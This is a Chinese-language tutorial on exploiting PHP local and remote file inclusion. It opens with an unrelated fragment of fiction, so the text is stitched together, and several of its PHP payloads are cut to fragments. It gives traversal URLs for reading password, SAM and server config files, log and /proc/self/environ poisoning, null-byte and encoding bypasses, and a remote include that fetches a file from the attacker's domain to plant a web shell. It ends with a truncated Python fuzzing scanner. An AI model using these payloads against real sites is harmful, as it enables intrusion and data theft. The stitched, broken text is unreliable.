他沿着墙壁漫步,手指扫过满是灰尘的灶台;打开冰箱,里面只剩下一纸盒过期的酸奶。窗帘很没,是白色的蕾丝纱帘和深青色的绒帘,住在这样屋子里的人当然会很在意窗帘吧?连台电视都没有,于是一个人的时候会常常坐在床上看着夕阳落下吧?夜深的时候得把窗户遮得严严实实的吧?否则……会害怕吧?
文件包含就是一个文件里面包含另外一个文件,这么说吧,比如在Python中的import其他的包,PHP中inclued其他的文件,因为过程中过滤不严格导致包含漏洞的产生,这种文件调用的过程一般被称为文件包含漏洞。
由于这种灵活性,从而导致客户端可以调用一个恶意文件,传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入,造成文件包含漏洞。
主要在PHP中产生比较多,本文详细介绍PHP的包含漏洞
PHP中包含其他文件的函数有这些,在做代码审计需要用到和记住
include() //当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
include_once() //功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。
require()//只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
require_once()//的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。
fopen()//打开指定的某个文件
readfile()//读取指定的文件
关于PHP的常见函数在之前的笔记有提及,可以回顾复习。地址
php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。这一特性,在实施攻击时非常有用。
1. include 等函数通过动态执行变量的方式引入需要包含的文件;
2. 用户能控制该动态变量。
文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是 php.ini 中是否开启了allow_url_include。如果开启 了我们就有可能包含远程文件。
1. 本地文件包含 LFI(Local File Include)
2. 远程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)
在 php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off,一般来说远程文件(包括本地文件包含)包含比本地文件包含的危害大。
新建一个phpinfo.txt,然后新建一个shell.php,写入:
访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写等),则通过include可以直接输出源码。
比如:
http://www.xxx.com/index.php?page=/etc/passwd
Windows:
c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini php配置文件
c:\windows\my.ini mysql配置文件
LINUX:
/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini PHP相关设置
/etc/httpd/conf/http.conf apache配置文件
/etc/my.cnf mysql配置文件
比如:
http://www.xxx.com/index.php?page=./../../test.txt
./ 当前目录 ../ 上一级目录,这样的遍历目录来读取文件
上传一个图片木马a.jpg,内容为:
")?>
访问URL:
http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。
apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:
http://www.xxx.com/
则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。默认情况下,日志保存路径在 /var/log/apache2/。
利用条件:需要知道服务器日志的存储路径,且日志文件可读。
提交如下请求,将 payload 插入日志
可以尝试利用 UA 插入 payload 到日志文件
默认日志地址:
apache+Linux 日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access log
apache+win2003 日志默认路径
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS6.0+win2003 默认日志文件
C:/WINDOWS/system32/Logfiles
IIS7.0+win2003 默认日志文件
%SystemDrive%/inetpub/logs/LogFiles
nginx 日志文件在用户安装目录的 logs 目录下
如安装目录为 /usr/local/nginx,则日志目录就是在
/usr/local/nginx/logs
也可通过其配置文件 Nginx.conf,获取到日志的存在路径
/opt/nginx/logs/access.log
web 中间件默认配置地址
apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN 配置文件
C:/Windows/System32/inetsrv/config/application/Host.config
利用条件:
1. php 以 cgi 方式运行,这样 environ 才会保持 UA 头。
2. environ 文件存储位置已知,且 environ 文件可读。
proc/self/environ 中会保存 user-agent 头。如果在 user-agent 中插入 php 代码,则 php 代码会被写入到 environ 中。之后再包含它,即可
比如:
http://www.test.com/view.php?page=../../../../proc/self/environ
路径不知道试一试
http://www.test.com/view.php?page=../../../../../../../proc/self/environ
选择 User-Agent 写代码如下:
这是web进程运行时的环境变量,其中有些参数是可以被用户控制的,最常见做法就是在User-Agent中插入一句话。
有些开发者为了防止本地包含漏洞,会编写一下代码:
(一)00截断包含
新建1.jpg:
")?>
这样的话比如上传一个1.jpg图片马,则访问
http://www.xxx.com/1.jpg
其实这个时候访问的是1.jgp.php,因为没有这个文件所以报错。这是,可以尝试访问
http://www.xxx.com/1.jpg%00
新建a.txt:
上传我们的 2.txt 文件,请求
http://localhost/test/1.php?a=2.txt%00
即可执行 2.txt 中 phpinfo 的代码
(二)使用长目录截断
?page=././././././././././././././etc/passwd
或者
?page=etc/passwd
或者
?page=../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
或者
?page=../../../../../../../../../var/www/%00
服务器端常常会对于 …/ 等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲 Web 安全》。
利用 url 编码:
../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e\
二次编码:
../ -》 %252e%252e%252f
..\ -》 %252e%252e%255c
在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。
新建php.txt:
新建index.php:
随后访问
http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。
新建test.txt文件,保存在你自己远程服务器上,内容如下:
")?>
如果目标网站存在远程包含漏洞,则可以通过访问:
http://www.xxx1.com/index.php?page=http://www.你的域名.com/test.txt则会在服务器根目录下生产一个shell.php内容为:
漏洞应用条件:
data: php5.2以后版本
php://input 需要开启allow_url_include
poc:
http://www.xxx.com/index.php?file=data:text/plain,%00
原地址
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 脚本语言本地/远程,文件包含/读取, 文件名截断漏洞FUZZ工具
import re
import urlparse
import urllib
import os
# 此函数会在爬虫扫描过程中调用,为任务派遣函数
def assign(service, arg):
# 只接收链接
if service != "www":
return
# 分析链接,看有没有查询参数
r = urlparse.urlparse(arg)
pairs = urlparse.parse_qsl(r.query)
# 如果参数过多,超过6个,效率起见,放弃此链接
if urlparse.urlparse(arg).query.find('=') == -1 or len(pairs) > 6:
return
# 返回True表始接收任务,arg是要调度器传给audit函数的参数
return True, arg
# 远程文件包含的FUZZ函数
def check_rfi(action, query, k, v, normal_res):
# 要判断两次,第一次,传全参数列表进去,第二次,只FUZZ一个参数,其它参数不传
for i in range(2):
# 网上总结的一组经典列表,以(路径,签名)做列表
paths = [
('../../../../../../../../../../etc/passwd', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),
('../../../../../../../../../../etc/passwd%00', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),
('http://cirt.net/rfiinc.txt?', 'phpinfo'),
('c:/boot.ini', '\[boot loader\][^\r\n<>]*[\r\n]'),
]
for inj, fingerprint in paths:
qsl = []
# 第一轮fuzz,完整提交全部参数
if i == 0:
for key, val in query:
# 如果参数key为要fuzz的,替换为路径
val = inj if (key==k) else val
qsl.append((key, val))
else:
# 第二轮fuzz, 只提交要fuzz的参数,其它不提交
qsl.append((k, inj))
# 经合成URL
qs = urllib.urlencode(qsl)
url = '%s?%s' % (action, qs)
# 发送请求
code, head, res, _, _ = curl.curl(url)
debug('[%03d] %s', code, url)
# 开始查询是否包含签名内容, 如